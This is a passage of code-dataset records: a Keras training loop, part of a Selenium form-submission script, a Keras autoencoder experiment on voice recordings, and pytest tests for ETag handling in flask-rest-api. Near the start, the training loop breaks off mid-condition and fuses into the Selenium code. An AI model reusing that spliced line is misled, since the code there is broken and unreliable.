)):\n test_encoded_docs[i]=np.asarray(test_encoded_docs[i])\n test_encoded_docs=np.array(test_encoded_docs)\n\n #print(\"Test shape:\",test_encoded_docs.shape)\n \n y_test=test_df[['grade_1','grade_2','grade_3','grade_4','grade_5']]\n y_test=np.asarray(y_test)\n \n \n \n \n #VALIDATION DATA:\n if validate==True:\n \n val_df=problem_df[problem_df['folds']==val_fold]\n docs=val_df['parsed_cleaned_answers2']\n \n #use same tokenizer\n val_encoded_docs=t.texts_to_sequences(docs)\n \n for i in range(0,len(val_encoded_docs )):\n val_encoded_docs[i]=np.asarray(val_encoded_docs[i])\n val_x=np.array(val_encoded_docs)\n # print(\"Validate shape:\",val_x.shape)\n \n y_val=val_df[['grade_1','grade_2','grade_3','grade_4','grade_5']]\n val_y=np.asarray(y_val)\n \n \n #define model\n model.load_weights(\"InitialModel.h5\") \n train_x,test_x = train_encoded_docs, test_encoded_docs\n train_y,test_y = y_train, y_test\n prev_a=1000000\n for index,val in enumerate(train_x):\n #print(\"train X:\",train_x[index],\"train y:\",train_y[index])\n #print(\"Train index shape:\",train_x[index].shape,\"Train y shape:\",train_y[index].shape)\n model.fit(train_x[index].reshape(1,len(val)),train_y[index].reshape(1,5),epochs = 10 ,batch_size=1)\n mean_a=[]\n if validate==True:\n \n for index,val in enumerate(val_x):\n #print(\"VAL:\",val)\n print(\"VAL:\",val_x.shape,val_y.shape)\n a=model.evaluate(val_x[index].reshape(1,len(val)),val_y[index].reshape(1,5))\n mean_a.append(a[0])\n #Checking if you should save these weights\n \n mean_a=np.mean(mean_a)\n print(\"Previous loss:\",prev_a,\"Current loss:\",mean_a)\n if(mean_a 0): \n\t\tbrowser.find_element_by_id(\"MoveField\").send_keys(high_words)\n\t\tbrowser.find_element_by_xpath('//input[@type=\"submit\"]').click()\n\telse:\n\t\tbrowser.find_element_by_name('pass').click()\n\n#total score を出力\nprint('total_score = ' + str(total_score))", "sub_path": "automatic.py", "file_name": "automatic.py", "file_ext": "py", "file_size_in_byte": 1230, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "selenium.webdriver.Chrome", "line_number": 6, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 6, "usage_type": "name"}, {"api_name": "search.dictionary", "line_number": 11, "usage_type": "call"}, {"api_name": "search.main", "line_number": 25, "usage_type": "call"}]} {"seq_id": "555156182", "text": "from keras.layers import Input, Dense\nfrom keras.models import Model\nimport math\n# =============================================================================\n# Dataset Initialization\ndataset_main_path = \"C:\\\\Music Technology Master\\\\7100 - Master Project\\\\Dataset - Spanish\"\nvocal_types_train = {\"Normal\" : 0, \"Pathol\" : 0} \nvocal_types_test = {\"Normal\" : 0, \"Pathol\" : 0} \n# =============================================================================\n# =============================================================================\n# Dsp Initialization\nsnippet_length = 500 #in milliseconds\nfs = 16000\nblock_size = 512\nhop_size = 256\nmel_length = 128\n# =============================================================================\n\n# =============================================================================\n# Autoencoder Initialization\nencoding_dimension = 64\nnum_epochs = 50\nbatch = 256\nshuffle_choice = True\n# =============================================================================\n\ninput_vector_length = mel_length * math.ceil(snippet_length / 1000 * fs / hop_size)\n\ninput_mel_spectrogram = Input(shape = (input_vector_length, ))\n\nencoded = Dense(encoding_dimension, activation = 'relu')(input_mel_spectrogram)\n\ndecoded = Dense(input_vector_length, activation = 'sigmoid')(encoded)\n\nautoencoder = Model(input_mel_spectrogram, decoded)\nencoder = Model(input_mel_spectrogram, encoded)\n\nencoded_input = Input(shape = (encoding_dimension, ) )\n\ndecoder_layer = autoencoder.layers[-1]\n\ndecoder = Model(encoded_input, decoder_layer(encoded_input))\n\nautoencoder.compile(optimizer = 'adadelta', loss = 'mean_squared_error')\n\nimport numpy as np\nfrom os import walk\nimport librosa\n\ndef load_data(vocal_types, dataset_main_path, train_or_test, snippet_length):\n print('%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%')\n file_names = []\n for vocal_type in list(vocal_types.keys()):\n print(\"Now searching \" + vocal_type + \" recordings for \" + train_or_test + \"ing.\")\n input_path = dataset_main_path + \"\\\\\" + vocal_type + \"_Augmented_\" + str(snippet_length) + \"ms_\" + train_or_test\n \n for (dirpath, dirnames, filenames) in walk(input_path):\n file_names.extend(filenames)\n vocal_types[vocal_type] = len(filenames)\n print('We found ' + str(len(filenames)) + ' files')\n print('----------------------------------------------------')\n break\n \n x_loaded = np.zeros( (len(file_names), mel_length, int(input_vector_length / mel_length)))\n \n for vocal_type in list(vocal_types.keys()):\n print(\"Now getting mel spectrogrm from \" + vocal_type + \" recordings for \" + train_or_test + \"ing.\")\n input_path = dataset_main_path + \"\\\\\" + vocal_type + \"_Augmented_\" + str(snippet_length) + \"ms_\" + train_or_test\n \n i = 0\n for filename in file_names:\n x, _ = librosa.load(input_path + \"\\\\\" + filename, sr = fs)\n S = librosa.feature.melspectrogram(y = x, sr = fs, n_fft = block_size, hop_length = hop_size)\n x_loaded[i] = S / S.max()\n i = i + 1\n if i == vocal_types[vocal_type] - 1:\n file_names = file_names[ vocal_types[vocal_type] : ]\n break\n \n return x_loaded\n\n\nx_train = load_data(vocal_types_train, dataset_main_path, 'train', snippet_length) \nx_train = x_train.reshape((len(x_train), np.prod(x_train.shape[1:])))\nprint('Training Data is Loaded!')\n\nx_test = load_data(vocal_types_test, dataset_main_path, 'test', snippet_length)\nx_test = x_test.reshape((len(x_test), np.prod(x_test.shape[1:])))\nprint('Testing Data is Loaded!')\n\nprint('%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%')\nprint('Autoencoder Starts')\nautoencoder.fit(x_train, x_train,\n epochs = num_epochs,\n batch_size = batch,\n shuffle = shuffle_choice,\n validation_data = (x_test, x_test)\n )\n\n", "sub_path": "Small Experiments/Autoencoder_experiment_1.py", "file_name": "Autoencoder_experiment_1.py", "file_ext": "py", "file_size_in_byte": 3989, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "math.ceil", "line_number": 27, "usage_type": "call"}, {"api_name": "keras.layers.Input", "line_number": 29, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 31, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 33, "usage_type": "call"}, {"api_name": "keras.models.Model", "line_number": 35, "usage_type": "call"}, {"api_name": "keras.models.Model", "line_number": 36, "usage_type": "call"}, {"api_name": "keras.layers.Input", "line_number": 38, "usage_type": "call"}, {"api_name": "keras.models.Model", "line_number": 42, "usage_type": "call"}, {"api_name": "os.walk", "line_number": 57, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 64, "usage_type": "call"}, {"api_name": "librosa.load", "line_number": 72, "usage_type": "call"}, {"api_name": "librosa.feature.melspectrogram", "line_number": 73, "usage_type": "call"}, {"api_name": "librosa.feature", "line_number": 73, "usage_type": "attribute"}, {"api_name": "numpy.prod", "line_number": 84, "usage_type": "call"}, {"api_name": "numpy.prod", "line_number": 88, "usage_type": "call"}]} {"seq_id": "385163241", "text": "\"\"\"Test ETag feature\"\"\"\n\nfrom collections import OrderedDict\nimport json\nimport hashlib\nfrom unittest import mock\n\nimport pytest\n\nfrom flask import jsonify, Response\nfrom flask.views import MethodView\n\nfrom flask_rest_api import Api, Blueprint, abort\nfrom flask_rest_api.etag import _get_etag_ctx\nfrom flask_rest_api.exceptions import (\n CheckEtagNotCalledError,\n NotModified, PreconditionRequired, PreconditionFailed)\nfrom flask_rest_api.utils import get_appcontext\nfrom flask_rest_api.compat import MARSHMALLOW_VERSION_MAJOR\n\nfrom .mocks import ItemNotFound\n\n\nHTTP_METHODS = ['OPTIONS', 'HEAD', 'GET', 'POST', 'PUT', 'PATCH', 'DELETE']\n\n\n@pytest.fixture(params=[True, False])\ndef app_with_etag(request, collection, schemas, app):\n \"\"\"Return a basic API sample with ETag\"\"\"\n\n as_method_view = request.param\n DocSchema = schemas.DocSchema\n DocEtagSchema = schemas.DocEtagSchema\n blp = Blueprint('test', __name__, url_prefix='/test')\n\n if as_method_view:\n @blp.route('/')\n class Resource(MethodView):\n\n @blp.etag(DocEtagSchema(many=True))\n @blp.response(\n DocSchema(many=True))\n def get(self):\n return collection.items\n\n @blp.etag(DocEtagSchema)\n @blp.arguments(DocSchema)\n @blp.response(DocSchema, code=201)\n def post(self, new_item):\n return collection.post(new_item)\n\n @blp.route('/')\n class ResourceById(MethodView):\n\n def _get_item(self, item_id):\n try:\n return collection.get_by_id(item_id)\n except ItemNotFound:\n abort(404)\n\n @blp.etag(DocEtagSchema)\n @blp.response(DocSchema)\n def get(self, item_id):\n return self._get_item(item_id)\n\n @blp.etag(DocEtagSchema)\n @blp.arguments(DocSchema)\n @blp.response(DocSchema)\n def put(self, new_item, item_id):\n item = self._get_item(item_id)\n blp.check_etag(item, DocEtagSchema)\n return collection.put(item_id, new_item)\n\n @blp.etag(DocEtagSchema)\n @blp.response(code=204)\n def delete(self, item_id):\n item = self._get_item(item_id)\n blp.check_etag(item, DocEtagSchema)\n del collection.items[collection.items.index(item)]\n\n else:\n @blp.route('/')\n @blp.etag(DocEtagSchema(many=True))\n @blp.response(DocSchema(many=True))\n def get_resources():\n return collection.items\n\n @blp.route('/', methods=('POST',))\n @blp.etag(DocEtagSchema)\n @blp.arguments(DocSchema)\n @blp.response(DocSchema, code=201)\n def post_resource(new_item):\n return collection.post(new_item)\n\n def _get_item(item_id):\n try:\n return collection.get_by_id(item_id)\n except ItemNotFound:\n abort(404)\n\n @blp.route('/')\n @blp.etag(DocEtagSchema)\n @blp.response(DocSchema)\n def get_resource(item_id):\n return _get_item(item_id)\n\n @blp.route('/', methods=('PUT',))\n @blp.etag(DocEtagSchema)\n @blp.arguments(DocSchema)\n @blp.response(DocSchema)\n def put_resource(new_item, item_id):\n item = _get_item(item_id)\n blp.check_etag(item)\n return collection.put(item_id, new_item)\n\n @blp.route('/', methods=('DELETE',))\n @blp.etag(DocEtagSchema)\n @blp.response(code=204)\n def delete_resource(item_id):\n item = _get_item(item_id)\n blp.check_etag(item)\n del collection.items[collection.items.index(item)]\n\n api = Api(app)\n api.register_blueprint(blp)\n\n return app\n\n\nclass TestEtag():\n\n def test_etag_is_deterministic(self):\n \"\"\"Check etag computation is deterministic\n\n _generate_etag should return the same value everytime the same\n dictionary is passed. This is not obvious since dictionaries\n are unordered by design. We check this by feeding it different\n OrderedDict instances that are equivalent to the same dictionary.\n \"\"\"\n\n blp = Blueprint('test', __name__)\n\n data = OrderedDict([\n ('a', 1),\n ('b', 2),\n ('c', OrderedDict([('a', 1), ('b', 2)]))\n ])\n etag = blp._generate_etag(data)\n\n data_copies = [\n OrderedDict([\n ('b', 2),\n ('a', 1),\n ('c', OrderedDict([('a', 1), ('b', 2)])),\n ]),\n OrderedDict([\n ('a', 1),\n ('b', 2),\n ('c', OrderedDict([('b', 2), ('a', 1)])),\n ]),\n OrderedDict([\n ('a', 1),\n ('c', OrderedDict([('a', 1), ('b', 2)])),\n ('b', 2),\n ]),\n OrderedDict([\n ('c', OrderedDict([('a', 1), ('b', 2)])),\n ('b', 2),\n ('a', 1),\n ]),\n ]\n\n data_copies_etag = [blp._generate_etag(d) for d in data_copies]\n assert all(e == etag for e in data_copies_etag)\n\n @pytest.mark.parametrize('extra_data', [None, {}, {'answer': 42}])\n def test_etag_generate_etag(self, schemas, extra_data):\n blp = Blueprint('test', __name__)\n etag_schema = schemas.DocEtagSchema\n item = {'item_id': 1, 'db_field': 0}\n item_schema_dump = etag_schema().dump(item)\n if MARSHMALLOW_VERSION_MAJOR < 3:\n item_schema_dump = item_schema_dump[0]\n if extra_data is None or extra_data == {}:\n data = item\n data_dump = item_schema_dump\n else:\n data = (item, extra_data)\n data_dump = (item_schema_dump, extra_data)\n\n etag = blp._generate_etag(item, extra_data=extra_data)\n assert etag == hashlib.sha1(\n bytes(json.dumps(data, sort_keys=True), 'utf-8')\n ).hexdigest()\n etag = blp._generate_etag(item, etag_schema, extra_data=extra_data)\n assert etag == hashlib.sha1(\n bytes(json.dumps(data_dump, sort_keys=True), 'utf-8')\n ).hexdigest()\n etag = blp._generate_etag(item, etag_schema(), extra_data=extra_data)\n assert etag == hashlib.sha1(\n bytes(json.dumps(data_dump, sort_keys=True), 'utf-8')\n ).hexdigest()\n\n @pytest.mark.parametrize('method', HTTP_METHODS)\n def test_etag_check_precondition(self, app, method):\n blp = Blueprint('test', __name__)\n\n with app.test_request_context('/', method=method):\n if method in ['PUT', 'PATCH', 'DELETE']:\n with pytest.raises(PreconditionRequired):\n blp._check_precondition()\n else:\n blp._check_precondition()\n\n @pytest.mark.parametrize('etag_disabled', (True, False))\n def test_etag_check_etag(self, app, schemas, etag_disabled):\n app.config['ETAG_DISABLED'] = etag_disabled\n blp = Blueprint('test', __name__)\n etag_schema = schemas.DocEtagSchema\n old_item = {'item_id': 1, 'db_field': 0}\n new_item = {'item_id': 1, 'db_field': 1}\n old_etag = blp._generate_etag(old_item)\n old_etag_with_schema = blp._generate_etag(old_item, etag_schema)\n\n with app.test_request_context('/', headers={'If-Match': old_etag}):\n blp.check_etag(old_item)\n if not etag_disabled:\n with pytest.raises(PreconditionFailed):\n blp.check_etag(new_item)\n else:\n blp.check_etag(new_item)\n with app.test_request_context(\n '/', headers={'If-Match': old_etag_with_schema}):\n blp.check_etag(old_item, etag_schema)\n if not etag_disabled:\n with pytest.raises(PreconditionFailed):\n blp.check_etag(new_item, etag_schema)\n else:\n blp.check_etag(new_item)\n\n @pytest.mark.parametrize('method', HTTP_METHODS)\n def test_etag_verify_check_etag_warning(self, app, method):\n blp = Blueprint('test', __name__)\n old_item = {'item_id': 1, 'db_field': 0}\n old_etag = blp._generate_etag(old_item)\n\n with mock.patch.object(app.logger, 'warning') as mock_warning:\n with app.test_request_context('/', method=method,\n headers={'If-Match': old_etag}):\n blp._verify_check_etag()\n if method in ['PUT', 'PATCH', 'DELETE']:\n assert mock_warning.called\n mock_warning.reset_mock()\n else:\n assert not mock_warning.called\n blp.check_etag(old_item)\n blp._verify_check_etag()\n assert not mock_warning.called\n\n @pytest.mark.parametrize('method', HTTP_METHODS)\n @pytest.mark.parametrize('debug', (True, False))\n @pytest.mark.parametrize('testing', (True, False))\n def test_etag_verify_check_etag_exception(\n self, app, method, debug, testing):\n app.config['DEBUG'] = debug\n app.config['TESTING'] = testing\n blp = Blueprint('test', __name__)\n\n with app.test_request_context('/', method=method):\n if (debug or testing) and method in ['PUT', 'PATCH', 'DELETE']:\n with pytest.raises(\n CheckEtagNotCalledError,\n match='ETag not checked in endpoint'\n ):\n blp._verify_check_etag()\n else:\n blp._verify_check_etag()\n\n @pytest.mark.parametrize('etag_disabled', (True, False))\n def test_etag_set_etag(self, app, schemas, etag_disabled):\n app.config['ETAG_DISABLED'] = etag_disabled\n blp = Blueprint('test', __name__)\n etag_schema = schemas.DocEtagSchema\n item = {'item_id': 1, 'db_field': 0}\n etag = blp._generate_etag(item)\n etag_with_schema = blp._generate_etag(item, etag_schema)\n\n with app.test_request_context('/'):\n blp.set_etag(item)\n if not etag_disabled:\n assert _get_etag_ctx()['etag'] == etag\n del _get_etag_ctx()['etag']\n else:\n assert 'etag' not in _get_etag_ctx()\n with app.test_request_context(\n '/', headers={'If-None-Match': etag}):\n if not etag_disabled:\n with pytest.raises(NotModified):\n blp.set_etag(item)\n else:\n blp.set_etag(item)\n assert 'etag' not in _get_etag_ctx()\n with app.test_request_context(\n '/', headers={'If-None-Match': etag_with_schema}):\n if not etag_disabled:\n with pytest.raises(NotModified):\n blp.set_etag(item, etag_schema)\n else:\n blp.set_etag(item, etag_schema)\n assert 'etag' not in _get_etag_ctx()\n with app.test_request_context(\n '/', headers={'If-None-Match': 'dummy'}):\n if not etag_disabled:\n blp.set_etag(item)\n assert _get_etag_ctx()['etag'] == etag\n del _get_etag_ctx()['etag']\n blp.set_etag(item, etag_schema)\n assert _get_etag_ctx()['etag'] == etag_with_schema\n del _get_etag_ctx()['etag']\n else:\n blp.set_etag(item)\n assert 'etag' not in _get_etag_ctx()\n blp.set_etag(item, etag_schema)\n assert 'etag' not in _get_etag_ctx()\n\n @pytest.mark.parametrize('etag_disabled', (True, False))\n @pytest.mark.parametrize('method', HTTP_METHODS)\n def test_set_etag_method_not_allowed_warning(\n self, app, method, etag_disabled):\n app.config['ETAG_DISABLED'] = etag_disabled\n blp = Blueprint('test', __name__)\n\n with mock.patch.object(app.logger, 'warning') as mock_warning:\n with app.test_request_context('/', method=method):\n blp.set_etag(None)\n if method in ['GET', 'HEAD', 'POST', 'PUT', 'PATCH']:\n assert not mock_warning.called\n else:\n assert mock_warning.called\n\n @pytest.mark.parametrize('paginate', (True, False))\n def test_etag_set_etag_in_response(self, app, schemas, paginate):\n blp = Blueprint('test', __name__)\n etag_schema = schemas.DocEtagSchema\n item = {'item_id': 1, 'db_field': 0}\n if paginate:\n extra_data = (('X-Pagination', 'Dummy pagination header'),)\n else:\n extra_data = tuple()\n etag = blp._generate_etag(item, extra_data=extra_data)\n etag_with_schema = blp._generate_etag(\n item, etag_schema, extra_data=extra_data)\n\n with app.test_request_context('/'):\n resp = Response()\n if extra_data:\n resp.headers['X-Pagination'] = 'Dummy pagination header'\n get_appcontext()['result_dump'] = item\n blp._set_etag_in_response(resp, None)\n assert resp.get_etag() == (etag, False)\n\n with app.test_request_context('/'):\n resp = Response()\n if extra_data:\n resp.headers['X-Pagination'] = 'Dummy pagination header'\n get_appcontext()['result_raw'] = item\n blp._set_etag_in_response(resp, etag_schema)\n assert resp.get_etag() == (etag_with_schema, False)\n\n def test_etag_duplicate_header(self, app):\n \"\"\"Check duplicate header results in a different ETag\"\"\"\n\n class CustomBlueprint(Blueprint):\n ETAG_INCLUDE_HEADERS = Blueprint.ETAG_INCLUDE_HEADERS + ['X-test']\n\n blp = CustomBlueprint('test', __name__, url_prefix='/test')\n\n with app.test_request_context('/'):\n resp = Response()\n resp.headers.add('X-test', 'Test')\n get_appcontext()['result_dump'] = {}\n blp._set_etag_in_response(resp, None)\n etag_1 = resp.get_etag()\n\n with app.test_request_context('/'):\n resp = Response()\n resp.headers.add('X-test', 'Test')\n resp.headers.add('X-test', 'Test')\n get_appcontext()['result_dump'] = {}\n blp._set_etag_in_response(resp, None)\n etag_2 = resp.get_etag()\n\n assert etag_1 != etag_2\n\n def test_etag_response_object(self, app):\n api = Api(app)\n blp = Blueprint('test', __name__, url_prefix='/test')\n client = app.test_client()\n\n @blp.route('/')\n @blp.etag\n @blp.response()\n def func_response_etag():\n # When the view function returns a Response object,\n # the ETag must be specified manually\n blp.set_etag('test')\n return jsonify({})\n\n api.register_blueprint(blp)\n\n response = client.get('/test/')\n assert response.json == {}\n assert response.get_etag() == (blp._generate_etag('test'), False)\n\n def test_etag_operations_etag_enabled(self, app_with_etag):\n\n client = app_with_etag.test_client()\n\n # GET without ETag: OK\n response = client.get('/test/')\n assert response.status_code == 200\n list_etag = response.headers['ETag']\n\n # GET with correct ETag: Not modified\n response = client.get(\n '/test/',\n headers={'If-None-Match': list_etag}\n )\n assert response.status_code == 304\n\n # POST item_1\n item_1_data = {'field': 0}\n response = client.post(\n '/test/',\n data=json.dumps(item_1_data),\n content_type='application/json'\n )\n assert response.status_code == 201\n item_1_id = response.json['item_id']\n\n # GET with wrong/outdated ETag: OK\n response = client.get(\n '/test/',\n headers={'If-None-Match': list_etag}\n )\n assert response.status_code == 200\n\n # GET by ID without ETag: OK\n response = client.get('/test/{}'.format(item_1_id))\n assert response.status_code == 200\n item_etag = response.headers['ETag']\n\n # GET by ID with correct ETag: Not modified\n response = client.get(\n '/test/{}'.format(item_1_id),\n headers={'If-None-Match': item_etag}\n )\n assert response.status_code == 304\n\n # PUT without ETag: Precondition required error\n item_1_data['field'] = 1\n response = client.put(\n '/test/{}'.format(item_1_id),\n data=json.dumps(item_1_data),\n content_type='application/json'\n )\n assert response.status_code == 428\n\n # PUT with correct ETag: OK\n response = client.put(\n '/test/{}'.format(item_1_id),\n data=json.dumps(item_1_data),\n content_type='application/json',\n headers={'If-Match': item_etag}\n )\n assert response.status_code == 200\n new_item_etag = response.headers['ETag']\n\n # PUT with wrong/outdated ETag: Precondition failed error\n item_1_data['field'] = 2\n response = client.put(\n '/test/{}'.format(item_1_id),\n data=json.dumps(item_1_data),\n content_type='application/json',\n headers={'If-Match': item_etag}\n )\n assert response.status_code == 412\n\n # GET by ID with wrong/outdated ETag: OK\n response = client.get(\n '/test/{}'.format(item_1_id),\n headers={'If-None-Match': item_etag}\n )\n assert response.status_code == 200\n\n # DELETE without ETag: Precondition required error\n response = client.delete('/test/{}'.format(item_1_id))\n assert response.status_code == 428\n\n # DELETE with wrong/outdated ETag: Precondition failed error\n response = client.delete(\n '/test/{}'.format(item_1_id),\n headers={'If-Match': item_etag}\n )\n assert response.status_code == 412\n\n # DELETE with correct ETag: No Content\n response = client.delete(\n '/test/{}'.format(item_1_id),\n headers={'If-Match': new_item_etag}\n )\n assert response.status_code == 204\n\n def test_etag_operations_etag_disabled(self, app_with_etag):\n\n app_with_etag.config['ETAG_DISABLED'] = True\n client = app_with_etag.test_client()\n\n # GET without ETag: OK\n response = client.get('/test/')\n assert response.status_code == 200\n\n # GET with whatever ETag: OK (dummy ETag ignored)\n response = client.get(\n '/test/',\n headers={'If-None-Match': 'dummy_etag'}\n )\n assert response.status_code == 200\n\n # POST item_1\n item_1_data = {'field': 0}\n response = client.post(\n '/test/',\n data=json.dumps(item_1_data),\n content_type='application/json'\n )\n assert response.status_code == 201\n item_1_id = response.json['item_id']\n\n # GET by ID: OK\n response = client.get('/test/{}'.format(item_1_id))\n assert response.status_code == 200\n\n # GET by ID with whatever ETag: OK (dummy ETag ignored)\n response = client.get(\n '/test/{}'.format(item_1_id),\n headers={'If-None-Match': 'dummy_etag'}\n )\n assert response.status_code == 200\n\n # PUT without ETag: OK\n item_1_data['field'] = 1\n response = client.put(\n '/test/{}'.format(item_1_id),\n data=json.dumps(item_1_data),\n content_type='application/json'\n )\n assert response.status_code == 200\n\n # PUT with whatever ETag: OK (dummy ETag ignored)\n item_1_data['field'] = 2\n response = client.put(\n '/test/{}'.format(item_1_id),\n data=json.dumps(item_1_data),\n content_type='application/json'\n )\n assert response.status_code == 200\n\n # POST item_2\n item_2_data = {'field': 9}\n response = client.post(\n '/test/',\n data=json.dumps(item_2_data),\n content_type='application/json'\n )\n assert response.status_code == 201\n item_2_id = response.json['item_id']\n\n # DELETE without ETag: No Content (dummy ETag ignored)\n response = client.delete('/test/{}'.format(item_1_id))\n assert response.status_code == 204\n\n # DELETE with whatever ETag: No Content (dummy ETag ignored)\n response = client.delete(\n '/test/{}'.format(item_2_id),\n headers={'If-Match': 'dummy_etag'}\n )\n assert response.status_code == 204\n", "sub_path": "tests/test_etag.py", "file_name": "test_etag.py", "file_ext": "py", "file_size_in_byte": 20897, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "flask_rest_api.Blueprint", "line_number": 34, "usage_type": "call"}, {"api_name": "flask.views.MethodView", "line_number": 38, "usage_type": "name"}, {"api_name": "flask.views.MethodView", "line_number": 53, "usage_type": "name"}, {"api_name": "mocks.ItemNotFound", "line_number": 58, "usage_type": "name"}, {"api_name": "flask_rest_api.abort", "line_number": 59, "usage_type": "call"}, {"api_name": "mocks.ItemNotFound", "line_number": 98, "usage_type": "name"}, {"api_name": "flask_rest_api.abort", "line_number": 99, "usage_type": "call"}, {"api_name": "flask_rest_api.Api", "line_number": 124, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 27, "usage_type": "call"}, {"api_name": "flask_rest_api.Blueprint", "line_number": 141, "usage_type": "call"}, {"api_name": "collections.OrderedDict", "line_number": 143, "usage_type": "call"}, {"api_name": "collections.OrderedDict", "line_number": 146, "usage_type": "call"}, {"api_name": "collections.OrderedDict", "line_number": 151, "usage_type": "call"}, {"api_name": "collections.OrderedDict", "line_number": 154, "usage_type": "call"}, {"api_name": "collections.OrderedDict", "line_number": 156, "usage_type": "call"}, {"api_name": "collections.OrderedDict", "line_number": 159, "usage_type": "call"}, {"api_name": "collections.OrderedDict", "line_number": 161, "usage_type": "call"}, {"api_name": "collections.OrderedDict", "line_number": 163, "usage_type": "call"}, {"api_name": "collections.OrderedDict", "line_number": 166, "usage_type": "call"}, {"api_name": "collections.OrderedDict", "line_number": 167, "usage_type": "call"}, {"api_name": "flask_rest_api.Blueprint", "line_number": 178, "usage_type": "call"}, {"api_name": "flask_rest_api.compat.MARSHMALLOW_VERSION_MAJOR", "line_number": 182, "usage_type": "name"}, {"api_name": "hashlib.sha1", "line_number": 192, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 193, "usage_type": "call"}, {"api_name": "hashlib.sha1", "line_number": 196, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 197, "usage_type": "call"}, {"api_name": "hashlib.sha1", "line_number": 200, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 201, "usage_type": "call"}, {"api_name": "pytest.mark.parametrize", "line_number": 176, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 176, "usage_type": "attribute"}, {"api_name": "flask_rest_api.Blueprint", "line_number": 206, "usage_type": "call"}, {"api_name": "pytest.raises", "line_number": 210, "usage_type": "call"}, {"api_name": "flask_rest_api.exceptions.PreconditionRequired", "line_number": 210, "usage_type": "argument"}, {"api_name": "pytest.mark.parametrize", "line_number": 204, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 204, "usage_type": "attribute"}, {"api_name": "flask_rest_api.Blueprint", "line_number": 218, "usage_type": "call"}, {"api_name": "pytest.raises", "line_number": 228, "usage_type": "call"}, {"api_name": "flask_rest_api.exceptions.PreconditionFailed", "line_number": 228, "usage_type": "argument"}, {"api_name": "pytest.raises", "line_number": 236, "usage_type": "call"}, {"api_name": "flask_rest_api.exceptions.PreconditionFailed", "line_number": 236, "usage_type": "argument"}, {"api_name": "pytest.mark.parametrize", "line_number": 215, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 215, "usage_type": "attribute"}, {"api_name": "flask_rest_api.Blueprint", "line_number": 243, "usage_type": "call"}, {"api_name": "unittest.mock.patch.object", "line_number": 247, "usage_type": "call"}, {"api_name": "unittest.mock.patch", "line_number": 247, "usage_type": "attribute"}, {"api_name": "unittest.mock", "line_number": 247, "usage_type": "name"}, {"api_name": "pytest.mark.parametrize", "line_number": 241, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 241, "usage_type": "attribute"}, {"api_name": "flask_rest_api.Blueprint", "line_number": 267, "usage_type": "call"}, {"api_name": "pytest.raises", "line_number": 271, "usage_type": "call"}, {"api_name": "flask_rest_api.exceptions.CheckEtagNotCalledError", "line_number": 272, "usage_type": "argument"}, {"api_name": "pytest.mark.parametrize", "line_number": 260, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 260, "usage_type": "attribute"}, {"api_name": "pytest.mark.parametrize", "line_number": 261, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 261, "usage_type": "attribute"}, {"api_name": "pytest.mark.parametrize", "line_number": 262, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 262, "usage_type": "attribute"}, {"api_name": "flask_rest_api.Blueprint", "line_number": 282, "usage_type": "call"}, {"api_name": "flask_rest_api.etag._get_etag_ctx", "line_number": 291, "usage_type": "call"}, {"api_name": "flask_rest_api.etag._get_etag_ctx", "line_number": 292, "usage_type": "call"}, {"api_name": "flask_rest_api.etag._get_etag_ctx", "line_number": 294, "usage_type": "call"}, {"api_name": "pytest.raises", "line_number": 298, "usage_type": "call"}, {"api_name": "flask_rest_api.exceptions.NotModified", "line_number": 298, "usage_type": "argument"}, {"api_name": "flask_rest_api.etag._get_etag_ctx", "line_number": 302, "usage_type": "call"}, {"api_name": "pytest.raises", "line_number": 306, "usage_type": "call"}, {"api_name": "flask_rest_api.exceptions.NotModified", "line_number": 306, "usage_type": "argument"}, {"api_name": "flask_rest_api.etag._get_etag_ctx", "line_number": 310, "usage_type": "call"}, {"api_name": "flask_rest_api.etag._get_etag_ctx", "line_number": 315, "usage_type": "call"}, {"api_name": "flask_rest_api.etag._get_etag_ctx", "line_number": 316, "usage_type": "call"}, {"api_name": "flask_rest_api.etag._get_etag_ctx", "line_number": 318, "usage_type": "call"}, {"api_name": "flask_rest_api.etag._get_etag_ctx", "line_number": 319, "usage_type": "call"}, {"api_name": "flask_rest_api.etag._get_etag_ctx", "line_number": 322, "usage_type": "call"}, {"api_name": "flask_rest_api.etag._get_etag_ctx", "line_number": 324, "usage_type": "call"}, {"api_name": "pytest.mark.parametrize", "line_number": 279, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 279, "usage_type": "attribute"}, {"api_name": "flask_rest_api.Blueprint", "line_number": 331, "usage_type": "call"}, {"api_name": "unittest.mock.patch.object", "line_number": 333, "usage_type": "call"}, {"api_name": "unittest.mock.patch", "line_number": 333, "usage_type": "attribute"}, {"api_name": "unittest.mock", "line_number": 333, "usage_type": "name"}, {"api_name": "pytest.mark.parametrize", "line_number": 326, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 326, "usage_type": "attribute"}, {"api_name": "pytest.mark.parametrize", "line_number": 327, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 327, "usage_type": "attribute"}, {"api_name": "flask_rest_api.Blueprint", "line_number": 343, "usage_type": "call"}, {"api_name": "flask.Response", "line_number": 355, "usage_type": "call"}, {"api_name": "flask_rest_api.utils.get_appcontext", "line_number": 358, "usage_type": "call"}, {"api_name": "flask.Response", "line_number": 363, "usage_type": 